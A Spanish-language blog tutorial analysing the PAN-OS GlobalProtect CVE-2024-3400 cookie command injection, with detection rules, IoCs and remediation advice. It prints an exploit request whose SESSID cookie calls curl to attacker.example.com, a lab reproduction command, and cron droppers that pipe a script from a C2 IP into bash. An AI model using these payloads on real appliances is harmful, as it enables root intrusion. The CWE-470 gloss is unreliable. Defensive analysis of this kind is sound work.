tutoriales · 9 min de lectura
Palo Alto GlobalProtect CVE-2024-3400: la cookie que ejecuta como root
Command injection pre-auth en PAN-OS GlobalProtect. El parámetro SESSID de la cookie se interpola en una shell para construir el nombre de un archivo de telemetría; metacaracteres ganan ejecución como root. Volexity rastrea explotación desde el 26 de marzo, vendor confirma el 12 de abril.
· Manuel López Pérez · tutoriales

El 12 de abril, Palo Alto Networks publica advisory por CVE-2024-3400 en PAN-OS GlobalProtect. CVSS 10.0. Pre-auth, RCE como root en el firewall. La condición de explotabilidad: tener configurado portal o gateway de GlobalProtect y, en las primeras horas del advisory, device telemetry habilitado (el vendor retira ese segundo requisito el 14 de abril tras encontrar que la condición no era necesaria). Volexity había detectado la primera explotación in-the-wild el 10 de abril investigando un cliente; rastrea reconocimiento previo del actor —UTA0218, Operation MidnightEclipse— hasta el 26 de marzo.
A los pocos días aparecen los detalles que importan: el bug está en cómo PAN-OS construye el nombre de un archivo de sesión a partir de la cookie SESSID. El valor de la cookie se concatena sin sanitizar en un comando shell que se ejecuta como root. Path traversal para escapar del directorio esperado, command substitution para meter una llamada curl, y el atacante tiene RCE sobre el appliance perimetral.
Lab: el análisis técnico se basa en el write-up de watchTowr y el advisory de Volexity. PAN-OS es appliance comercial, no Docker — no hay PoC reproducible en lab abierto sin licencia. Las trazas que aparecen abajo están tomadas literalmente de la publicación de watchTowr.
El chain en una request
El endpoint vulnerable es POST /ssl-vpn/hipreport.esp, no autenticado. Cuando llega una petición, PAN-OS extrae la cookie SESSID y, si la sesión no existe, crea un archivo de sesión en disco usando el valor de la cookie como parte del path:
/opt/pancfg/mgmt/lcaas/ssl-vpn/portal/sessions/<SESSID>Hasta aquí, file write no autenticado — feo pero contenible. El paso 2 es donde se pierde. PAN-OS tiene una función de device telemetry que escanea periódicamente un directorio de logs y para cada archivo nuevo ejecuta un comando equivalente a:
curl --data-binary @<filepath> https://telemetry.paloaltonetworks.com/...El nombre del archivo se interpola directamente en el comando shell vía subprocess.Popen(..., shell=True). Si el atacante consigue que un archivo con un nombre que contiene metacaracteres llegue al directorio escaneado por telemetría, el comando shell construido al subirlo a telemetría ejecuta ese metacarácter.
Combinando las dos piezas: una cookie con path traversal + command substitution crea el archivo en el directorio que telemetría va a escanear, y la siguiente pasada de telemetría ejecuta los metacaracteres.
La cookie que ejecuta
El payload publicado por watchTowr en su análisis:
POST /ssl-vpn/hipreport.esp HTTP/1.1
Host: <target>
Cookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/aaa`curl${IFS}attacker.example.com/x`
Content-Length: 0Tres piezas:
- Path traversal (
/../../../opt/panlogs/tmp/device_telemetry/minute/): saca el archivo del directorio sessions y lo coloca dentro del directorio que el cron de telemetría va a escanear cada minuto. - Nombre base (
aaa): irrelevante, sirve de marcador. - Command substitution (
`curl${IFS}attacker.example.com/x`): metacarácter de backtick con${IFS}(Internal Field Separator) en lugar de espacios — la cookie no admite espacios literales sin codificar,${IFS}los reemplaza al ejecutarse en bash.
Cuando el cron de telemetría procesa el archivo, el comando construido es aproximadamente:
curl --data-binary @/opt/panlogs/tmp/device_telemetry/minute/aaa`curl${IFS}attacker.example.com/x` https://telemetry.paloaltonetworks.com/...El command substitution se evalúa primero: el firewall hace curl attacker.example.com/x antes de intentar leer el archivo. Si el atacante apunta attacker.example.com/x a un script y lo pipea a shell, la cadena queda como bash ejecutado en root sobre el appliance.
El bug en una línea
watchTowr lo localiza en la propia advisory de Palo Alto y en su debugging: el código que construye la línea de telemetría usa shell=False por defecto en subprocess.Popen, pero el path concreto donde sucede el bug sobrescribe el flag a shell=True, deshabilitando el escape automático y dejando los metacaracteres operativos. CWE asociado: CWE-77 (command injection) + CWE-20 (improper input validation). La causa de fondo es CWE-470: construir un path a partir de input no confiable y luego pasarlo a una shell.
La sanitización mínima que cierra el bug es validar SESSID contra una regex de session IDs reales (^[A-Za-z0-9]{1,64}$ o similar) antes de cualquier operación de filesystem. El parche que Palo Alto publica el 14 de abril hace esa validación y, además, separa el path building del shell call (shell=False consistente).
UPSTYLE — el web shell que viene detrás
Una vez el atacante tiene RCE como root, Volexity y Unit 42 documentan el payload que UTA0218 deploya:
- UPSTYLE, un backdoor en Python que se instala como
/usr/lib/python3.6/site-packages/system.pth. Ese mecanismo (.pthfiles) hace que Python lo importe automáticamente en cada arranque del intérprete — persistencia sin tocarcrontabnisystemd. - Canal de control: UPSTYLE no abre un puerto. Monitoriza
/var/log/pan/sslvpn_ngx_error.logesperando una petición HTTP especialmente construida que contiene una etiquetaimg[<comando-base64>]. Cualquier request al gateway con ese patrón en una URL inexistente (que se loguea como error) le pasa órdenes. - Canal de exfiltración: las respuestas se escriben en un archivo legítimo del servidor web (
bootstrap.min.css) que UPSTYLE sobrescribe momentáneamente, fuerza una request del operador, y restaura el original tras ~15 segundos para borrar la traza forense.
Cuando UPSTYLE falla en instalarse (tres intentos, según el análisis de Unit 42), el actor cae a un backdoor más burdo:
* * * * * root wget -qO- http://172.233.228.93/policy | bashCrontab cada minuto que descarga y ejecuta un script remoto. Detectable con cualquier auditoría de cron, pero a menudo nadie audita el cron del appliance perimetral.
Cronología
- 26 marzo: primera evidencia de reconocimiento por UTA0218 contra targets concretos. Curl probings y testing del payload.
- 7 abril 06:59 UTC: el servidor HTTP que sirve UPSTYLE tiene
Last-Modifiedese día — el actor termina de preparar la infraestructura. - 10 abril: primer compromiso confirmado por Volexity.
- 11 abril: segundo compromiso confirmado, esta vez con UPSTYLE deployado completo.
- 12 abril: Palo Alto publica advisory, asigna CVSS 10.0. Volexity publica write-up.
- 14 abril: primer batch de hotfixes para 11.1.2, 11.0.4 y 10.2.9. PAN actualiza el advisory: la mitigación por device telemetry no es suficiente.
- 15–18 abril: resto de versiones recibe hotfix.
- 15 abril: watchTowr publica análisis con PoC reproducible. CISA añade CVE-2024-3400 al catálogo KEV.
- 16–25 abril: explotación masiva por otros actores, ahora con PoC público disponible.
Detección y mitigación
Si tienes PAN-OS expuesto y no estás seguro de si te tocó la ventana del 26 marzo al 14 abril, los IoCs accionables que publican Volexity y Unit 42:
- Archivos sospechosos en
/var/log/pan/sslvpn_ngx_error.logcon patronesimg[<base64>]en URLs no existentes. - Archivos en
/opt/panlogs/tmp/device_telemetry/minute/con nombres que contengan backticks,$(),${IFS}o caracteres no alfanuméricos en general. system.pthmodificado ensite-packagesde Python.- Crontabs no documentados con
wget | basho equivalentes. - Conexiones salientes desde el firewall a IPs no reconocidas — incluyendo
172.233.228.93,144.172.79.92,66.235.168.222y otros documentados por Volexity.
Palo Alto publica el 3 de mayo un procedimiento de Enhanced Factory Reset para casos en los que un appliance se confirme comprometido. La razón: si UPSTYLE tocó configuración o filesystem, un parche por encima no garantiza limpieza.
Mitigación a medio plazo, no específica de este CVE: cualquier appliance que tenga su panel SSL VPN expuesto a internet entra en la categoría de high-risk asset. La pregunta operacional pasa de ¿cuántos zero-days al año aguanta este vendor? a ¿cuál es nuestro plan cuando el siguiente caiga?
YARA — detección estática de UPSTYLE
Regla pública de Unit 42 para el web shell UPSTYLE en system.pth:
rule paloalto_uta0218_upstyle_pth_webshell
{
meta:
cve = "CVE-2024-3400"
ref = "https://unit42.paloaltonetworks.com/cve-2024-3400/"
description = "system.pth modificado por UTA0218 con backdoor Python"
strings:
$marker = "system.pth" ascii
$exec = "exec(" ascii
$b64decode = "base64.b64decode" ascii
$css_marker = "bootstrap.min.css" ascii // canal de exfil
$log_regex = /re\.search\s*\(\s*['"]img\[/ ascii
condition:
3 of them
}Sigma — detección del injection en log nginx
title: PAN-OS GlobalProtect CVE-2024-3400 SESSID Injection
id: 9c8b7a6e-5d4f-3c2b-1a0e-f9e8d7c6b5a4
status: stable
references:
- https://unit42.paloaltonetworks.com/cve-2024-3400/
- https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
logsource:
product: nginx
service: access
detection:
selection:
cs-uri-stem|contains:
- '/ssl-vpn/hipreport.esp'
- '/ssl-vpn/login.esp'
cs-cookie|re: 'SESSID=[^;]*[`$;|&]'
condition: selection
level: criticalAlternativa para detectar el patrón de exfil img[<base64>] en logs nginx del firewall:
# En el propio appliance (post-comp, vía consola admin)
grep -E "img\[[A-Za-z0-9+/=]+\]" /var/log/pan/sslvpn_ngx_error.log
# Búsqueda más amplia de cualquier acceso a recursos que ponen base64 en el path
grep -E "GET.*\[[A-Za-z0-9+/=]{20,}\]" /var/log/pan/sslvpn_ngx_*.logKQL — Microsoft Sentinel para detectar la cookie maliciosa
// Filtrar requests con SESSID conteniendo metacaracteres shell
CommonSecurityLog
| where Timestamp > ago(180d)
| where DeviceVendor == "Palo Alto Networks"
| where DeviceProduct == "PAN-OS"
| where RequestURL contains "/ssl-vpn/"
| where AdditionalExtensions contains "SESSID="
| where AdditionalExtensions matches regex @"SESSID=[^;]*[`$;|&]"
| project Timestamp, SourceIP, DestinationIP, RequestURL,
AdditionalExtensions, DeviceName
| order by Timestamp descIoCs consolidados (Volexity + Unit 42)
| Tipo | Indicador |
|---|---|
| IP C2 inicial | 172.233.228[.]93 (Volexity UTA0218 primary) |
| IPs C2 olas posteriores | 144.172.79[.]92, 66.235.168[.]222, 137.118.227[.]16, 173.255.223[.]159 |
| UPSTYLE SHA-256 | 3de2a4392b8715bad070b2ae12243f166ead37830f7c6d24e778985927f9caac |
| UPSTYLE variant SHA-256 | 99e1b9627b652769b56c2e6def66a7c5d6cb6ad34b5e9b7d27e2c7c267e60b67 |
| User-Agent en exploit | Mozilla/5.0 (Linux) solo con headers escasos |
| Crontab line dropped | * * * * * curl -s 172.233.228[.]93/x.sh | bash (fallback dropper) |
| File path post-comp | /usr/local/lib/python3.X/site-packages/system.pth (modificado por UPSTYLE) |
| File path canal exfil | /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css (output stash) |
Reproducción en lab
Lab con VM PAN-OS 11.1.x sin parche (vendor permite descargar imágenes a customers con contrato):
# Verificación del flujo: enviar SESSID con metacaracter
curl -k --max-time 5 \
-H "Host: gp.lab.local" \
-H "Cookie: SESSID=/../../../tmp/$(echo poc | base64);" \
-H "User-Agent: Mozilla/5.0" \
"https://gp.lab.local/ssl-vpn/hipreport.esp"
# El archivo debe aparecer en /opt/panlogs/tmp/device_telemetry/minute/
# con el comando inyectado en el nombre. Cron lo evalúa al siguiente minuto.
# Verificar:
ssh admin@gp.lab.local
> debug system shell
> ls -la /opt/panlogs/tmp/device_telemetry/minute/El Enhanced Factory Reset del 3-may de Palo Alto es porque el factory-reset normal no limpia el system.pth modificado.
Lo que enseña
- El shell=True silencioso. Palo Alto pone
shell=Falsepor defecto en su código pero lo invalida en un path concreto. Auditar grandes bases C/Python en busca de todos los lugares donde se ejecuta shell con input no trivialmente seguro es work real, no checkbox. El bug existió en producción durante varias versiones. - Telemetría como vector. La idea de mandar metadata operacional al vendor es razonable; ejecutarla como root con paths derivados de input no autenticado, no. Si tienes que escribir un archivo a partir de algo que viene del usuario, ese «algo» tiene que validarse antes de tocar disco. No después.
- El advisory inicial fallaba en la condición de explotabilidad. «Solo si tienes device telemetry habilitado» tranquilizó a mucha gente el 12 de abril. El 14 PAN retira ese requisito. El patrón se repite: la condición «esto solo afecta a X» de día 0 a menudo se relaja en día 1–2. Asume la peor versión del advisory hasta tener certeza.
- El parche no es el final. Si tu appliance estuvo expuesto durante las dos semanas antes del advisory, lo correcto es asumir compromiso, rotar credenciales que pasaron por el firewall, y considerar el Enhanced Factory Reset. Un firewall con shell-as-root sin auditoría no se «desinfecta» por parche.
Referencias
- Palo Alto PSIRT — CVE-2024-3400: https://security.paloaltonetworks.com/CVE-2024-3400
- Volexity — Zero-Day Exploitation of Unauthenticated Remote Code Execution Vulnerability in GlobalProtect: https://www.volexity.com/blog/2024/04/12/zero-day-exploitation-of-unauthenticated-remote-code-execution-vulnerability-in-globalprotect-cve-2024-3400/
- Unit 42 — Threat Brief: Operation MidnightEclipse: https://unit42.paloaltonetworks.com/cve-2024-3400/
- watchTowr Labs — Putting The Protecc In GlobalProtect: https://labs.watchtowr.com/palo-alto-putting-the-protecc-in-globalprotect-cve-2024-3400/
- NVD CVE-2024-3400: https://nvd.nist.gov/vuln/detail/CVE-2024-3400
- CISA KEV catalog entry: https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-3400


